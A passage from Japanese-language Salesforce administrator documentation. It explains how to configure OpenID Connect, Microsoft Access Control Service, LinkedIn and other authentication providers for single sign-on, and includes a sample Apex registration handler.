パーティアカウントリンクに組織 ID を含めるオプションを選択できます。Summer '14 リリース以前
に設定された Salesforce 認証プロバイダでは、組織が提供するユーザ ID に組織 ID が含まれません。
そのため、対象組織は 2 つのソース (2 つの Sandbox など) の同じユーザ ID を持つユーザを区別でき
ません。たとえば、各 Sandbox から 1 人というように、2 人のユーザが対象組織で同じユーザに対
応付けられている既存の組織があり、ID を別にする場合は、このオプションを選択します。そうで
ない場合は、このオプションを空白のままにします。この機能を有効にした後に、ユーザはサード
パーティのすべてのリンクを再承認する必要があります。リンクは、ユーザの詳細ページの [サー
ドパーティアカウントのリンク] セクションに一覧表示されます。Winter '15 リリース以降に作成さ
れたSalesforce認証プロバイダでは、デフォルトでこの設定が有効になり、このオプションは表示さ
れません。

d. エラーのレポートに使用するプロバイダの [カスタムエラー URL]。
e. ユーザが SSO フローを使用して認証された場合に、ログアウト後の特定の移動先を指定する [カスタム

ログアウト URL]。この項目を使用して、ユーザをブランド設定されたログアウトページか、またはデ
フォルトのSalesforceログアウトページ以外の場所のいずれかに移動します。URL は、httpまたは https

プレフィックスで完全修飾する必要があります (https://acme.my.salesforce.com など)。

9. 既存のApexクラスを Registration Handlerクラスとして選択します。または、登録ハンドラのApexク
ラステンプレートを作成するには、[登録ハンドラテンプレートを自動作成] をクリックします。このクラ
スを後で編集してデフォルトのコンテンツを変更してから使用します。

メモ: Registration Handler クラスは、Salesforce で SSO 初期化 URL を生成するために必要となりま
す。

10. [他のアカウントで登録を実行] で、Apex ハンドラクラスを実行するユーザを選択します。このユーザは
「ユーザの管理」権限を持っている必要があります。既存の登録ハンドラクラスを指定しているか、テン
プレートから登録ハンドラクラスを作成しているかに関係なく、ユーザが要です。

11. プロバイダでポータルを使用するには、[ポータル] ドロップダウンリストからポータルを選択します。
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12. [アイコン URL]項目を使用して、コミュニティのログインページのボタンとして表示するアイコンのパス
を追加します。このアイコンはコミュニティにのみ適用されます。Salesforce 組織または [私のドメイン] で
作成したドメインのログインページには表示されません。ユーザは、このボタンをクリックし、コミュニ
ティに関連付けられた認証プロバイダを使用してログインします。
独自の画像へのパスを指定するか、いずれかのサンプルアイコンの URL を項目にコピーしてください。

13. [保存] をクリックします。
クライアント設定 URL の値を確認します。このコールバック URL は、最後の手順を完了するために必要で
す。[テスト専用初期化 URL] を使用して、設定を確認します。Auth.AuthToken Apexクラスと共に [認証プ
ロバイダ ID] 値を使用するため、その値もメモします。

14. 以前 [設定] から作成した接続アプリケーション定義に戻ります。コールバック URL の値を認証プロバイダ
から [コールバック URL] 項目に貼り付けます。

認証プロバイダを定義した後、複数のクライアント設定 URL が生成されます。
• テスト専用初期化 URL: システム管理者は、この URL を使用して、サードパーティプロバイダが正しく設定

されていることを確認します。システム管理者がブラウザでこの URL を開き、サードパーティにサインイ
ンすると、属性の対応付けにより Salesforce にリダイレクトされます。

• シングルサインオン初期化 URL: この URL を使用して、サードパーティから Salesforce への SSO を実行します
(サードパーティのログイン情報を使用します)。ユーザは、ブラウザでこの URL を開いて、サードパーティ
にログインします。このサードパーティは、ユーザを作成するか既存のユーザを更新します。次にサード
パーティは、ユーザを Salesforce にそのユーザとしてサインインします。

• 既存ユーザをリンクする URL: この URL を使用して、既存の Salesforce ユーザをサードパーティアカウントに
リンクします。このユーザはブラウザでこの URL を開いてサードパーティにサインインし、Salesforce にサ
インインしてリンクを承認します。

• OAuth 専用初期化 URL: この URL を使用して、サードパーティの OAuth アクセストークンを取得します。サー
ドパーティサービスがトークンを取得するには、ユーザがSalesforceで認証する必要があります。このフロー
では、以降の SSO 機能は提供されません。

• コールバック URL: 認証プロバイダが設定のためにコールバックするエンドポイントに、コールバック URL

を使用します。認証プロバイダは、各クライアント設定 URL の情報と共に、コールバック URL にリダイレ
クトする必要があります。

クライアント設定 URL では、ユーザの特定サイトへのログイン、サードパーティからのカスタマイズされた権
限の取得、認証後の特定の場所への移動を行うための、追加の要求パラメータをサポートしています。

SSO 接続のテスト
ブラウザの認証プロバイダの詳細ページでテスト専用初期化 URL を開きます。認証プロバイダにリダイレクト
され、サインインするよう求められます。サインイン時に、アプリケーションを認証するよう求められます。
認証後、ユーザは Salesforce にリダイレクトされます。

関連トピック:

要求パラメータとクライアント設定 URL の使用
外部認証プロバイダ

1101

シングルサインオンSalesforce 組織の設定および管理



OpenID Connect 認証プロバイダの設定

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

Amazon、Google、PayPal など、OpenID Connect プロトコルのサーバ側を実装する
サードパーティの Web アプリケーションを認証プロバイダとして使用できます。
OpenID 認証プロバイダを設定するには、次の手順を実行します。
1. アプリケーションを登録して、Salesforce をアプリケーションドメインにしま

す。
2. Salesforce 組織の OpenID Connect 認証プロバイダを定義します。
3. Salesforce で生成されたコールバック URL を使用するようにアプリケーション

を更新します。
4. 接続をテストします。

OpenID Connect アプリケーションの登録
Salesforce組織の Web アプリケーションを設定する前に、アプリケーションをサー
ビスプロバイダに登録する必要があります。このプロセスは、サービスプロバ
イダによって異なります。たとえば、Google アプリケーションを登録するには、
OAuth 2.0 クライアント ID を作成します。
1. サービスプロバイダの Web サイトにアプリケーションを登録します。
2. アプリケーション設定を変更し、アプリケーションドメイン (またはホーム

ページ URL) を Salesforce に設定します。
3. プロバイダのドキュメントで、クライアント ID、クライアントの秘密、認証

エンドポイント URL、トークンエンドポイント URL、ユーザ情報エンドポイン
ト URL を調べます。一般的な OpenID Connect サービスプロバイダとして、次の
ようなプロバイダがあります。
• Amazon

• Google

• PayPal

Salesforce 組織の OpenID Connect プロバイダの定義
1. [設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認証プロバイダ] を選択します。
2. [新規] をクリックします。
3. プロバイダタイプに [OpenID Connect] を選択します。
4. プロバイダの名前を入力します。
5. クライアント設定 URL に使用する URL サフィックスを入力します。たとえば、プロバイダの URL サフィック

スが MyOpenIDConnectProvider である場合、シングルサインオン URL は
https://login.salesforce.com/auth/sso/00Dx00000000001/MyOpenIDConnectProviderのよう
になります。

6. [コンシューマ鍵] 項目には、プロバイダから入手したクライアント ID を使用します。
7. [コンシューマの秘密] 項目には、プロバイダから入手したクライアントの秘密を使用します。
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8. [承認エンドポイント URL] には、プロバイダから入手したベース URL を入力します。

ヒント: 必要に応じて、クエリ文字列パラメータをベース URL に追加できます。たとえば、オフライ
ンアクセス用に Google から更新トークンを取得するには、
https://accounts.google.com/o/oauth2/auth?access_type=offline&approval_prompt=force

を使用します。Google で最初の更新トークンの後にも更新トークンが引き続き提供されるように、更
新アクションの承認をユーザに求めるには approval_prompt パラメータが必要となります。

9. プロバイダから入手したトークンエンドポイント URL を入力します。
10. 必要に応じて、次の項目を設定します。

a. プロバイダから入手した [ユーザ情報エンドポイント URL]。
b. [トークン発行者]。この値には、認証トークンのソースを https: URL形式で指定します。この値が指

定された場合、プロバイダはトークン要求への応答に id_token値を含める必要があります。id_token

値は更新トークンフローでは必要ありません (ただし、指定された場合は Salesforce によって検証されま
す)。

c. 認証エンドポイントへの要求と共に送信する [デフォルトの範囲]。送信しない場合は、プロバイダタイ
プのハードコード化されたデフォルトが使用されます。デフォルトについては、「OpenID Connect の開
発者用ドキュメント」を参照してください。
詳細は、「Scope パラメータの使用」を参照してください。

11. 必要に応じて [ヘッダーでアクセストークンを送信] を選択し、トークンをクエリ文字列ではなくヘッダー
で送信します。

12. 必要に応じて、次の項目を設定します。
a. エラーのレポートに使用するプロバイダの [カスタムエラー URL]。
b. ユーザが SSO フローを使用して認証された場合に、ログアウト後の特定の移動先を指定する [カスタム

ログアウト URL]。この項目を使用して、ユーザをブランド設定されたログアウトページか、またはデ
フォルトのSalesforceログアウトページ以外の場所のいずれかに移動します。URL は、httpまたは https

プレフィックスで完全修飾する必要があります (https://acme.my.salesforce.com など)。
c. 既存のApexクラスを Registration Handlerクラスとして選択します。または、登録ハンドラのApex

クラステンプレートを作成するには、[登録ハンドラテンプレートを自動作成]をクリックします。この
クラスを後で編集してデフォルトのコンテンツを変更してから使用します。

メモ: Registration Handler クラスは、Salesforce でシングルサインオン (SSO) 初期化 URL を生成
するために必要となります。

d. [他のアカウントで登録を実行]で、Apexハンドラクラスを実行するユーザを選択します。このユーザは
「ユーザの管理」権限を持っている必要があります。既存の登録ハンドラクラスを指定しているか、テ
ンプレートから登録ハンドラクラスを作成しているかに関係なく、ユーザが要です。

e. プロバイダでポータルを使用するには、[ポータル] ドロップダウンリストからポータルを選択します。
f. [アイコン URL] 項目を使用して、コミュニティのログインページのボタンとして表示するアイコンの

パスを追加します。このアイコンはコミュニティにのみ適用されます。Salesforce 組織または [私のドメ
イン] で作成したドメインのログインページには表示されません。ユーザは、このボタンをクリックし、
コミュニティに関連付けられた認証プロバイダを使用してログインします。
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独自の画像へのパスを指定するか、いずれかのサンプルアイコンの URL を項目にコピーしてください。

13. [保存] をクリックします。
生成された認証プロバイダ ID の値をメモしておいてください。この値は、Auth.AuthToken Apex クラスと共
に使用する必要があります。
認証プロバイダを定義した後、複数のクライアント設定 URL が生成されます。
• テスト専用初期化 URL: システム管理者は、この URL を使用して、サードパーティプロバイダが正しく設定

されていることを確認します。システム管理者がブラウザでこの URL を開き、サードパーティにサインイ
ンすると、属性の対応付けにより Salesforce にリダイレクトされます。

• シングルサインオン初期化 URL: この URL を使用して、サードパーティから Salesforce への SSO を実行します
(サードパーティのログイン情報を使用します)。ユーザは、ブラウザでこの URL を開いて、サードパーティ
にログインします。このサードパーティは、ユーザを作成するか既存のユーザを更新します。次にサード
パーティは、ユーザを Salesforce にそのユーザとしてサインインします。

• 既存ユーザをリンクする URL: この URL を使用して、既存の Salesforce ユーザをサードパーティアカウントに
リンクします。このユーザはブラウザでこの URL を開いてサードパーティにサインインし、Salesforce にサ
インインしてリンクを承認します。

• OAuth 専用初期化 URL: この URL を使用して、サードパーティの OAuth アクセストークンを取得します。サー
ドパーティサービスがトークンを取得するには、ユーザがSalesforceで認証する必要があります。このフロー
では、以降の SSO 機能は提供されません。

• コールバック URL: 認証プロバイダが設定のためにコールバックするエンドポイントに、コールバック URL

を使用します。認証プロバイダは、各クライアント設定 URL の情報と共に、コールバック URL にリダイレ
クトする必要があります。

クライアント設定 URL では、ユーザの特定サイトへのログイン、サードパーティからのカスタマイズされた権
限の取得、認証後の特定の場所への移動を行うための、追加の要求パラメータをサポートしています。

OpenID Connect アプリケーションの更新
認証プロバイダをSalesforce組織で定義したら、プロバイダに戻り、アプリケーションのコールバック URL を更
新します。Google アプリケーションの場合、コールバック URL は承認済みのリダイレクト URI と呼ばれていま
す。PayPal の場合は戻り URL と呼ばれています。

SSO 接続のテスト
ブラウザの認証プロバイダ設定ページでテスト専用初期化 URL を開きます。プロバイダのサービスにリダイレ
クトされ、サインインするよう求められます。サインイン時に、アプリケーションを認証するよう求められま
す。認証後、ユーザは再び Salesforce にリダイレクトされます。
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Microsoft® アクセスコントロールサービス認証プロバイダの設定

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

OAuth プロトコルを使用して Microsoft アクセスコントロールサービスを認証プロ
バイダとして使用できます。認証は通常、SharePoint® Online のような Microsoft Office

365 サービスによって行われます。
Salesforce では、OAuth のみを使用して Microsoft アクセスコントロールサービスで
認証ができます。Microsoft 認証プロバイダによるシングルサインオン (SSO) 認証
はサポートされていません。
Microsoft アクセスコントロールサービス認証プロバイダを設定するには、次の手
順を実行します。
1. Salesforce 組織で Microsoft アクセスコントロールサービス認証プロバイダを定

義します。
2. アプリケーションを Microsoft に登録して、Salesforce をアプリケーションドメ

インにします。
3. アプリケーションを Microsoft に登録したときに生成されるコンシューマ鍵お

よびコンシューマの秘密を使用するように、Salesforce で Microsoft アクセスコ
ントロールサービス認証プロバイダの詳細を編集します。

4. 接続をテストします。

Salesforce 組織での Microsoft アクセスコントロールサービス認証プロバ
イダの定義
SharePoint Online または Microsoft 販売者ダッシュボードでアプリケーションを登録
するには、承認されたユーザを Salesforce にリダイレクトするコールバック URL

が必要です。
1. [設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認証プロバイダ] を選択します。
2. [新規] をクリックします。
3. プロバイダタイプに、Microsoft アクセスコントロールサービスを選択します。
4. プロバイダの名前を入力します。
5. クライアント設定 URL に使用する URL サフィックスを入力します。たとえば、プロバイダの URL サフィック

スが MyMicrosoftACSProvider である場合、コールバック URL は次のようになります。
https://login.salesforce.com/services/authcallback/00Dx00000000001/MyMicrosoftACSProvider

6. コンシューマ鍵項目にプレースホルダ値を入力します。アプリケーションを Microsoft に登録した後で、こ
の値を編集します。

7. コンシューマの秘密項目のプレースホルダ値を入力します。この値は、アプリケーションを Microsoft に登
録した後で編集します。

8. 認証エンドポイント URL にプロバイダから入手したベース URL を入力します。たとえば、SharePoint Online で
は、次の形式を使用します。
https://<sharepoint online host name>/_layouts/15/OAuthAuthorize.aspx

9. 次の形式でトークンエンドポイント URL を入力します。
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https://accounts.accesscontrol.windows.net/<tenant>/tokens/OAuth/2?resource=<senderID>/<sharepointonlinehostname>@<tenant>

• <tenant> は、.onmicrosoft.com で終わる Office 365 のテナント名か、対応するテナントのグローバル
一意識別子 (GUID) です。

• <sender ID> は、トークンの送信者の識別子です。たとえば、SharePoint では、
00000003-0000-0ff1-ce00-000000000000 が使用されます。

10. 必要に応じて、次の項目を設定します。
• 認証エンドポイントへの要求と共に送信する [デフォルトの範囲]。SharePoint Online の範囲についての詳

細は、http://msdn.microsoft.com/en-us/library/jj687470.aspx#Scopeを参照してください。また、Salesforceでの範
囲の使用についての詳細は、「Scope パラメータの使用」を参照してください。

• エラーのレポートに使用するプロバイダの [カスタムエラー URL]。
• ユーザが SSO フローを使用して認証された場合に、ログアウト後の特定の移動先を指定する [カスタム

ログアウト URL]。この項目を使用して、ユーザをブランド設定されたログアウトページか、またはデ
フォルトのSalesforceログアウトページ以外の場所のいずれかに移動します。URL は、httpまたは https

プレフィックスで完全修飾する必要があります (https://acme.my.salesforce.com など)。
• プロバイダでポータルを使用するには、[ポータル] ドロップダウンリストからポータルを選択します。

組織でポータルが設定されている場合、このオプションでログイン要求をポータルログインページにリ
ダイレクトできます。使用しない場合は、[なし] のままにしておきます。

• [アイコン URL] 項目を使用して、コミュニティのログインページのボタンとして表示するアイコンの
パスを追加します。このアイコンはコミュニティにのみ適用されます。Salesforce 組織または [私のドメ
イン] で作成したドメインのログインページには表示されません。ユーザは、このボタンをクリックし、
コミュニティに関連付けられた認証プロバイダを使用してログインします。
独自の画像へのパスを指定するか、いずれかのサンプルアイコンの URL を項目にコピーしてください。

11. [保存] をクリックします。
生成された認証プロバイダ ID の値をメモします。この値は、Auth.AuthToken Apex クラスと共に使用できま
す。
認証プロバイダを定義した後、複数のクライアント設定 URL が生成されます。
• テスト専用初期化 URL: システム管理者は、この URL を使用して、サードパーティプロバイダが正しく設定

されていることを確認します。システム管理者がブラウザでこの URL を開き、サードパーティにサインイ
ンすると、属性の対応付けにより Salesforce にリダイレクトされます。

• OAuth 専用初期化 URL: この URL を使用して、サードパーティの OAuth アクセストークンを取得します。サー
ドパーティサービスがトークンを取得するには、ユーザがSalesforceで認証する必要があります。このフロー
では、以降の SSO 機能は提供されません。

• コールバック URL: 認証プロバイダが設定のためにコールバックするエンドポイントに、コールバック URL

を使用します。認証プロバイダは、各クライアント設定 URL の情報と共に、コールバック URL にリダイレ
クトする必要があります。

クライアント設定 URL では、ユーザの特定サイトへのログイン、サードパーティからのカスタマイズされた権
限の取得、認証後の特定の場所への移動を行うための、追加の要求パラメータをサポートしています。
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Microsoft へのアプリケーションの登録
Salesforce組織にアプリケーションを設定する前に、アプリケーション ID を Microsoft が提供するオプションのい
ずれかを使用して取得する必要があります。SharePoint 用にリモートアプリケーションを登録することに関す
る詳細は、「SharePoint 2013 用のアプリケーションを登録するためのガイドライン」を参照してください。
1. Microsoft が提供するオプションのいずれかを使用してアプリケーションを登録します。
2. アプリケーション設定を変更し、リダイレクト URI を認証プロバイダのコールバック URL に設定します。
3. クライアント ID とクライアントの秘密をメモします。
4. [保存] をクリックします。

Microsoft アクセスコントロールサービス認証プロバイダの詳細の編集
アプリケーションを Microsoft に登録したら、Microsoft アクセスコントロールサービス認証プロバイダの詳細に
戻り、コンシューマ鍵とコンシューマの秘密を Microsoft から提供された値で更新します。
1. [設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認証プロバイダ] を選択します。
2. Microsoft アクセスコントロールサービス認証プロバイダ名の横にある [編集] をクリックします。
3. [コンシューマ鍵] 項目に Microsoft クライアント ID を入力します。
4. [コンシューマの秘密] 項目に Microsoft クライアントの秘密を入力します。

接続のテスト
ブラウザの認証プロバイダ設定ページでテスト専用初期化 URL を開きます。ユーザは Microsoft にリダイレクト
され、サインインするよう求められます。サインイン時に、アプリケーションを認証するよう求められます。
認証後、ユーザは Salesforce にリダイレクトされます。
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LinkedIn 認証プロバイダの設定

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

LinkedIn を認証プロバイダとして設定し、ユーザが LinkedIn ログイン情報を使用
して Salesforce 組織にログインできるようにします。
LinkedIn を認証プロバイダとして設定するには、次の手順を実行します。
1. LinkedIn から取得する範囲 (ユーザの詳細) を決定します。
2. LinkedIn アプリケーションを設定します。
3. Salesforce 組織で LinkedIn プロバイダを定義し、登録ハンドラを設定します。
4. 登録ハンドラを編集します。
5. Salesforceで生成されるコールバック URL を LinkedIn [OAuth 2.0 リダイレクト

URL]のエントリとして使用するように、LinkedIn アプリケーションを更新し
ます。

6. シングルサインオン (SSO) 接続をテストします。

LinkedIn から取得する範囲 (ユーザの詳細) の決定
範囲により、認証プロセス時に LinkedIn から取得するユーザ情報の内容が決まり
ます。ユーザ名や写真の URL などの基本情報を要求したり、住所、電話番号、
連絡先リストなど、より詳細な情報を取得したりできます。情報が提供される
前に、ユーザは情報の交換を承認します。
LinkedIn を認証プロバイダとして設定する場合は、範囲を 3 つの異なる場所 (LinkedIn

アプリケーション設定、Salesforce の認証プロバイダ設定、項目セレクタを使用
した LinkedIn のユーザ情報エンドポイントへのクエリ) で設定できます。範囲の
指定場所と使用する値を決定するときは、次の点を考慮してください。
• LinkedIn 設定と Salesforce 設定では、範囲値を空白にすることができます。デフォルト値は r_basicprofile で、

LinkedIn で定義された最も基本的なユーザ情報のみが提供されます。
• Salesforce では、ユーザのメールアドレスが必要です。
• サポートされている値のリストとその意味については、「LinkedIn の認証に関するドキュメント」を参照し

てください。URL を使用した範囲の要求についての詳細は、LinkedIn 項目セレクタページを参照してくださ
い。

• Salesforce の認証プロバイダ設定でデフォルトの範囲を設定すると、LinkedIn アプリケーション設定の値がそ
の値で上書きされます。

• LinkedIn アプリケーション設定または Salesforce の認証プロバイダ設定では、r_basicprofile

r_emailaddress のように、複数の範囲の値をスペースで区切ります。
• URL で LinkedIn の項目セレクタを使用する場合は、

https://api.linkedin.com/v1/people/~:(id,formatted-name,first-name,last-name,public-profile-url,email-address)

のように、複数の値をカンマで区切ります。

LinkedIn アプリケーションの設定
Salesforce 組織で LinkedIn を設定する前に、LinkedIn でアプリケーションを設定します。
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メモ: Salesforceに独自のデフォルトアプリケーションの使用を許可すると、この手順を省略できます。詳
細は、「認証プロバイダの設定ページでの Salesforce 管理値の使用」を参照してください。

1. LinkedIn Web サイトの開発者アカウントにサインインします。
2. 上部のユーザ名をクリックし、[API キー] を選択します。
3. [新規アプリケーションを追加] をクリックします
4. アプリケーション設定を入力します。
5. API キーと秘密鍵をメモします。これは、後で LinkedIn プロバイダを Salesforce 組織で作成するために必要と

なります。
6. 必要に応じて、LinkedIn でサポートされる範囲の値を入力します。値が複数の場合は、スペースで区切りま

す。
LinkedIn での範囲の使用についての詳細は、「LinkedIn から取得する範囲 (ユーザの詳細) の決定」を参照して
ください。

Salesforce 組織での LinkedIn プロバイダの定義
Salesforce 組織で LinkedIn プロバイダを設定するには、LinkedIn API キーと秘密鍵が必要です。

メモ: Salesforceに値の管理を許可すると、認証プロバイダ設定ページの主要な値の指定を省略できます。
詳細は、「認証プロバイダの設定ページでの Salesforce 管理値の使用」を参照してください。

1. [設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認証プロバイダ] を選択します。
2. [新規] をクリックします。
3. プロバイダタイプに LinkedIn を選択します。
4. プロバイダの名前を入力します。
5. クライアント設定 URL に使用する URL サフィックスを入力します。たとえば、プロバイダの URL サフィック

スが MyLinkedInProvider である場合、SSO URL は次のようになります。
https://login.salesforce.com/services/sso/00Dx00000000001/MyLinkedInProvider

6. [コンシューマ鍵] 項目には、LinkedIN の API キーを使用します。
7. [コンシューマの秘密] 項目には、LinkedIn の秘密鍵を使用します。
8. 必要に応じて、次の項目を設定します。

a. LinkedIn から基本認証 URL を入力するための [承認エンドポイント URL]。たとえば、
https://www.linkedin.com/uas/oauth2/authorization/auth です。URL は
「https://www.linkedin.com/uas/oauth2/authorization」で開始する必要があります。

ヒント: 必要に応じて、クエリ文字列パラメータをベース URL に追加できます。たとえば、オフラ
インアクセス用に LinkedIn から更新トークンを取得するには、
https://accounts.linkedin.com/o/oauth2/auth?access_type=offline&approval_prompt=force

を使用します。LinkedIn で最初の更新トークンの後にも更新トークンが引き続き提供されるように、
更新アクションの承認をユーザに求めるには approval_prompt パラメータが必要となります。
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b. LinkedIn から OAuth トークンの URL を入力するための [トークンエンドポイント URL]。たとえば、
https://www.linked.com/uas/oauth2/accessToken/token です。URL は
「https://www.linkedin.com/uas/oauth2/accessToken」で開始する必要があります。

c. LinkedIn のプロファイル API から要求された値を変更する場合は、[ユーザ情報エンドポイント URL]。詳
細は、https://developer.linkedin.com/documents/profile-fieldsを参照してください。URL は
「https://api.linkedin.com/v1/people/~」で開始する必要があり、要求された項目は要求され
た範囲に対応している必要があります。

d. サポートされる値または LinkedIn から取得する情報を表す値 (値が複数の場合は、スペースで区切られた
値) を入力するための [デフォルトの範囲]。詳細は、「LinkedIn から取得する範囲 (ユーザの詳細) の決
定」を参照してください。

e. エラーのレポートに使用するプロバイダの [カスタムエラー URL]。
f. ユーザが SSO フローを使用して認証された場合に、ログアウト後の特定の移動先を指定する [カスタム

ログアウト URL]。この項目を使用して、ユーザをブランド設定されたログアウトページか、またはデ
フォルトのSalesforceログアウトページ以外の場所のいずれかに移動します。URL は、httpまたは https

プレフィックスで完全修飾する必要があります (https://acme.my.salesforce.com など)。
g. 既存のApexクラスを Registration Handlerクラスとして選択します。または、登録ハンドラのApex

クラステンプレートを作成するには、[登録ハンドラテンプレートを自動作成]をクリックします。この
クラスを後で編集してデフォルトのコンテンツを変更してから使用します。

メモ: Registration Handler クラスは、Salesforce でシングルサインオン (SSO) 初期化 URL を生成
するために必要となります。

h. [他のアカウントで登録を実行]で、Apexハンドラクラスを実行するユーザを選択します。このユーザは
「ユーザの管理」権限を持っている必要があります。既存の登録ハンドラクラスを指定しているか、テ
ンプレートから登録ハンドラクラスを作成しているかに関係なく、ユーザが要です。

i. LinkedIn ユーザにポータルを使用するには、[ポータル] ドロップダウンリストからポータルを選択しま
す。

9. [アイコン URL]項目を使用して、コミュニティのログインページのボタンとして表示するアイコンのパス
を追加します。このアイコンはコミュニティにのみ適用されます。Salesforce 組織または [私のドメイン] で
作成したドメインのログインページには表示されません。ユーザは、このボタンをクリックし、コミュニ
ティに関連付けられた認証プロバイダを使用してログインします。
独自の画像へのパスを指定するか、いずれかのサンプルアイコンの URL を項目にコピーしてください。

10. [保存] をクリックします。
認証プロバイダを定義した後、複数のクライアント設定 URL が生成されます。
• テスト専用初期化 URL: システム管理者は、この URL を使用して、サードパーティプロバイダが正しく設定

されていることを確認します。システム管理者がブラウザでこの URL を開き、サードパーティにサインイ
ンすると、属性の対応付けにより Salesforce にリダイレクトされます。

• シングルサインオン初期化 URL: この URL を使用して、サードパーティから Salesforce への SSO を実行します
(サードパーティのログイン情報を使用します)。ユーザは、ブラウザでこの URL を開いて、サードパーティ
にサインインします。このサードパーティは、ユーザを作成するか既存のユーザを更新します。次にサー
ドパーティは、ユーザを Salesforce にそのユーザとしてサインインします。
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• 既存ユーザをリンクする URL: この URL を使用して、既存の Salesforce ユーザをサードパーティアカウントに
リンクします。このユーザはブラウザでこの URL を開いてサードパーティにサインインし、Salesforce にサ
インインしてリンクを承認します。

• OAuth 専用初期化 URL: この URL を使用して、サードパーティの OAuth アクセストークンを取得します。サー
ドパーティサービスがトークンを取得するには、ユーザがSalesforceで認証する必要があります。このフロー
では、以降の SSO 機能は提供されません。

• コールバック URL: 認証プロバイダが設定のためにコールバックするエンドポイントに、コールバック URL

を使用します。認証プロバイダは、各クライアント設定 URL の情報と共に、コールバック URL にリダイレ
クトする必要があります。

クライアント設定 URL では、ユーザの特定サイトへのログイン、サードパーティからのカスタマイズされた権
限の取得、認証後の特定の場所への移動を行うための、追加の要求パラメータをサポートしています。

登録ハンドラの編集
1. [設定] から、[クイック検索] ボックスに「Apex クラス」と入力し、[Apex クラス] を選択します。
2. 自動作成された Apex 登録ハンドラ (または既存の登録ハンドラ (存在する場合)) を編集して、LinkedIn と

Salesforce 間で項目を対応付けます。

メモ:  LinkedIn のデフォルトのプロファイルクエリでは、名、姓、見出し、プロファイル URL のみが取
得されます。デフォルトの登録ハンドラには、メールが必要です。メール要件を登録ハンドラから削
除するか、メールアドレスおよび登録ハンドラに必要な他の項目を追加するために、「LinkedIn から取
得する範囲 (ユーザの詳細) の決定」で目的の範囲を変更します。

次に、LinkedIn アプリケーションを認証プロバイダとして使用する場合の Apex 登録ハンドラの例を示しま
す。この登録ハンドラでは、要求された範囲に r_basicprofile と r_emailaddress が含まれていると想定していま
す。また、ユーザがカスタマーポータルにログインしていることを想定しています。
//TODO:This auto-generated class includes the basics for a Registration
//Handler class. You will need to customize it to ensure it meets your needs and
//the data provided by the third party.
global class LinkedInRegHandler implements Auth.RegistrationHandler {

//Creates a Standard salesforce or a community user
global User createUser(Id portalId, Auth.UserData data) {

if (data.attributeMap.containsKey('sfdc_networkid')) {
//We have a community id, so create a user with community access
//TODO: Get an actual account
Account a =[SELECT Id FROM account WHERE name = 'LinkedIn Account'];
Contact c = new Contact();
c.accountId = a.Id;
c.email = data.email;
c.firstName = data.firstName;
c.lastName = data.lastName;
insert(c);
//TODO: Customize the username and profile. Also check that the username
//doesn't already exist and possibly ensure there are enough org licenses
//to create a user. Must be 80 characters or less.
User u = new User();
Profile p =[SELECT Id FROM profile WHERE name = 'Customer Portal Manager'];

u.username = data.firstName + '@sfdc.linkedin.com';
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u.email = data.email;
u.lastName = data.lastName;
u.firstName = data.firstName;
String alias = data.firstName;
//Alias must be 8 characters or less
if (alias.length() > 8) {

alias = alias.substring(0, 8);
}
u.alias = alias;
u.languagelocalekey = UserInfo.getLocale();
u.localesidkey = UserInfo.getLocale();
u.emailEncodingKey = 'UTF-8';
u.timeZoneSidKey = 'America/Los_Angeles';
u.profileId = p.Id;
u.contactId = c.Id;
return u;

} else {
//This is not a community, so create a regular standard user
User u = new User();
Profile p =[SELECT Id FROM profile WHERE name = 'Standard User'];
//TODO: Customize the username. Also check that the username doesn't
//already exist and possibly ensure there are enough org licenses
//to create a user. Must be 80 characters or less
u.username = data.firstName + '@salesforce.com';
u.email = data.email;
u.lastName = data.lastName;
u.firstName = data.firstName;
String alias = data.firstName;
//Alias must be 8 characters or less
if (alias.length() > 8) {

alias = alias.substring(0, 8);
}
u.alias = alias;
u.languagelocalekey = UserInfo.getLocale();
u.localesidkey = UserInfo.getLocale();
u.emailEncodingKey = 'UTF-8';
u.timeZoneSidKey = 'America/Los_Angeles';
u.profileId = p.Id;
return u;

}
}
//Updates the user's first and last name
global void updateUser(Id userId, Id portalId, Auth.UserData data) {

User u = new User(id = userId);
u.lastName = data.lastName;
u.firstName = data.firstName;
update(u);

}
}

詳細および例については、「RegistrationHandler」を参照してください。
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LinkedIn アプリケーションの更新
LinkedIn 認証プロバイダをSalesforce組織で定義した後で、LinkedIn に戻ります。Salesforceで生成されたコールバッ
ク URL を LinkedIn [OAuth 2.0 リダイレクト URL] の値として使用するように、アプリケーションを更新しま
す。

SSO 接続のテスト
ブラウザの認証プロバイダ設定ページでテスト専用初期化 URL を開きます。ユーザは LinkedIn にリダイレクト
され、サインインするよう求められます。サインイン時に、アプリケーションを認証するよう求められます。
認証後、ユーザは Salesforce にリダイレクトされます。

Twitter 認証プロバイダの設定

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

Twitter を認証プロバイダとして設定し、ユーザが Twitter アカウントから Salesforce

組織にログインできるようにします。
Twitter を認証プロバイダとして設定するには、次の手順を実行します。
1. Twitter アプリケーションを設定します。
2. Salesforce 組織で Twitter プロバイダを定義し、登録ハンドラを設定します。
3. 登録ハンドラを編集します。
4. Salesforce で生成されるコールバック URL を Twitter アプリケーション設定のエ

ントリとして使用するように、Twitter アプリケーションを更新します。
